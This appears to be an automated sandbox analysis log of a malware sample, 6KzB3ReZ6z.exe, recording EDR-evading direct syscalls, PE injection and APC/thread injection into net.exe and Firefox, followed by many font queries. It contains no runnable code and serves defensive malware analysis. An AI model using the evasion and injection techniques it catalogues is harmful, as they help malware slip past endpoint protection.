                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014B4A35 mov eax, dword ptr fs:[00000030h]2_2_014B4A35
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014E6ACC mov eax, dword ptr fs:[00000030h]2_2_014E6ACC
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014E6ACC mov eax, dword ptr fs:[00000030h]2_2_014E6ACC
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014E6ACC mov eax, dword ptr fs:[00000030h]2_2_014E6ACC
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01490AD0 mov eax, dword ptr fs:[00000030h]2_2_01490AD0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C4AD0 mov eax, dword ptr fs:[00000030h]2_2_014C4AD0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C4AD0 mov eax, dword ptr fs:[00000030h]2_2_014C4AD0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CAAEE mov eax, dword ptr fs:[00000030h]2_2_014CAAEE
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014CAAEE mov eax, dword ptr fs:[00000030h]2_2_014CAAEE
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149EA80 mov eax, dword ptr fs:[00000030h]2_2_0149EA80
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149EA80 mov eax, dword ptr fs:[00000030h]2_2_0149EA80
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149EA80 mov eax, dword ptr fs:[00000030h]2_2_0149EA80
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory allocated: page read and write | page guardJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtCreateFile: Direct from: 0x77752FECJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtOpenFile: Direct from: 0x77752DCCJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtSetInformationThread: Direct from: 0x777463F9Jump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtQueryInformationToken: Direct from: 0x77752CACJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtProtectVirtualMemory: Direct from: 0x77752F9CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtSetInformationProcess: Direct from: 0x77752C5CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtNotifyChangeKey: Direct from: 0x77753C2CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtOpenKeyEx: Direct from: 0x77752B9CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtOpenSection: Direct from: 0x77752E0CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtProtectVirtualMemory: Direct from: 0x77747B2EJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtAllocateVirtualMemory: Direct from: 0x777548ECJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtQueryVolumeInformationFile: Direct from: 0x77752F2CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtQuerySystemInformation: Direct from: 0x777548CCJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtAllocateVirtualMemory: Direct from: 0x77752BECJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtDeviceIoControlFile: Direct from: 0x77752AECJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtCreateUserProcess: Direct from: 0x7775371CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtWriteVirtualMemory: Direct from: 0x7775490CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtQueryInformationProcess: Direct from: 0x77752C26Jump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtResumeThread: Direct from: 0x77752FBCJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtReadVirtualMemory: Direct from: 0x77752E8CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtCreateKey: Direct from: 0x77752C6CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtSetInformationThread: Direct from: 0x77752B4CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtQueryAttributesFile: Direct from: 0x77752E6CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtAllocateVirtualMemory: Direct from: 0x77753C9CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtClose: Direct from: 0x77752B6C
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtCreateMutant: Direct from: 0x777535CCJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtWriteVirtualMemory: Direct from: 0x77752E3CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtMapViewOfSection: Direct from: 0x77752D1CJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtResumeThread: Direct from: 0x777536ACJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtReadFile: Direct from: 0x77752ADCJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtQuerySystemInformation: Direct from: 0x77752DFCJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtDelayExecution: Direct from: 0x77752DDCJump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeNtAllocateVirtualMemory: Direct from: 0x77752BFCJump to behavior
                Injects a PE file into a foreign processes
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory written: C:\Users\user\Desktop\6KzB3ReZ6z.exe base: 400000 value starts with: 4D5AJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: NULL target: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exe protection: execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeSection loaded: NULL target: C:\Windows\SysWOW64\net.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: NULL target: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: NULL target: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\net.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\net.exeThread register set: target process: 7588Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\net.exeThread APC queued: target process: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess created: C:\Users\user\Desktop\6KzB3ReZ6z.exe "C:\Users\user\Desktop\6KzB3ReZ6z.exe"Jump to behavior
                Source: C:\Program Files (x86)\GOnipSqlXOWwYOVBXHPyFtOwPKUJmXbocpZSEUXBdGruAPAmU\lAXvz0QHVL.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\SysWOW64\net.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: lAXvz0QHVL.exe, 00000008.00000002.2465212138.00000000013F1000.00000002.00000001.00040000.00000000.sdmp, lAXvz0QHVL.exe, 00000008.00000000.1421038937.00000000013F0000.00000002.00000001.00040000.00000000.sdmp, lAXvz0QHVL.exe, 0000000A.00000002.2466048243.00000000017B1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: XProgram Manager
                Source: lAXvz0QHVL.exe, 00000008.00000002.2465212138.00000000013F1000.00000002.00000001.00040000.00000000.sdmp, lAXvz0QHVL.exe, 00000008.00000000.1421038937.00000000013F0000.00000002.00000001.00040000.00000000.sdmp, lAXvz0QHVL.exe, 0000000A.00000002.2466048243.00000000017B1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: lAXvz0QHVL.exe, 00000008.00000002.2465212138.00000000013F1000.00000002.00000001.00040000.00000000.sdmp, lAXvz0QHVL.exe, 00000008.00000000.1421038937.00000000013F0000.00000002.00000001.00040000.00000000.sdmp, lAXvz0QHVL.exe, 0000000A.00000002.2466048243.00000000017B1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: lAXvz0QHVL.exe, 00000008.00000002.2465212138.00000000013F1000.00000002.00000001.00040000.00000000.sdmp, lAXvz0QHVL.exe, 00000008.00000000.1421038937.00000000013F0000.00000002.00000001.00040000.00000000.sdmp, lAXvz0QHVL.exe, 0000000A.00000002.2466048243.00000000017B1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Users\user\Desktop\6KzB3ReZ6z.exe VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
